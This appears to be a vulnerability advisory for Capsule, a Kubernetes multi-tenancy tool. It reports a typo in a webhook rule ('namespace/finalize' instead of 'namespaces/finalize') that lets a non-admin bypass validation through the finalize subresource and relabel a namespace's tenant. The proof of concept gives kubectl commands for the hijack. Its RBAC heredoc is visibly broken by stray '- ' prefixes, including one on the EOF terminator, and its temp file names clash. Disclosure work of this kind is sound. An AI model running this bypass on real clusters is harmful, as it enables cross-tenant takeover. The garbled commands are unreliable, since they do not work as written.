Capsule CVE-2026-55636

Summary

Capsule v0.13.2 webhook rules contain namespace/finalize (singular) instead of namespaces/finalize (plural). K8s requires plural. The finalize defense from CVE-2026-30963 fix is absent.

Details

PUT to /api/v1/namespaces/<ns>/finalize has resource=namespaces (plural). The singular rule never matches. matchPolicy: Equivalent does not compensate.

PoC

Confirmed on kind + Capsule v0.13.2. alice (non-admin with namespaces/finalize RBAC): kubectl label --as=alice = DENIED (control). kubectl replace --raw /finalize --as=alice = 200 OK (bypass). Tenant label changed.

Impact

Namespace tenant-label hijack. Same threat model as CVE-2026-30963. One-char fix: namespace/finalize -> namespaces/finalize. The CVE-2026-30963 fix in Capsule v0.13.2 added subresource entries to the namespace validating webhook, but charts/capsule/templates/configuration.yaml line 105 contains a singular/plural typo: namespace/finalize instead of namespaces/finalize. Kubernetes webhook rules require the plural resource name. The finalize subresource defense is entirely absent.

Details

In Kubernetes admission webhooks, rules.resources matches against the plural resource name. A PUT to /api/v1/namespaces/<ns>/finalize has resource=namespaces (plural). The rule namespace/finalize (singular) never matches any real API request.

The matchPolicy: Equivalent setting does NOT compensate (it handles API group/version variations, not resource name typos).

PoC

Confirmed on kind cluster + Capsule v0.13.2 (Helm chart):

# Setup: alice with namespaces/finalize RBAC
kubectl apply -f - <<EOF
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: ns-finalize-updater
rules:
- apiGroups: [""]
-   resources: ["namespaces/finalize"]
-   verbs: ["update"]
- - apiGroups: [""]
-   resources: ["namespaces"]
-   verbs: ["get", "list"]
- EOF
- kubectl create clusterrolebinding alice-finalize --clusterrole=ns-finalize-updater --user=alice
# Control: normal label change DENIED
kubectl label namespace oil-prod capsule.clastix.io/tenant=evil --overwrite --as=alice
# Error: admission webhook denied
# Bypass: finalize changes tenant label (webhook NOT invoked)
kubectl get namespace oil-prod -o json > /tmp/ns.json
# modify tenant label to "hijacked"
kubectl replace --raw "/api/v1/namespaces/oil-prod/finalize" -f /tmp/ns_modified.json --as=alice
# 200 OK - tenant label changed

Impact

Namespace tenant-label hijack via the finalize subresource bypass. Same threat model as CVE-2026-30963. One-character fix needed: namespace/finalize -> namespaces/finalize.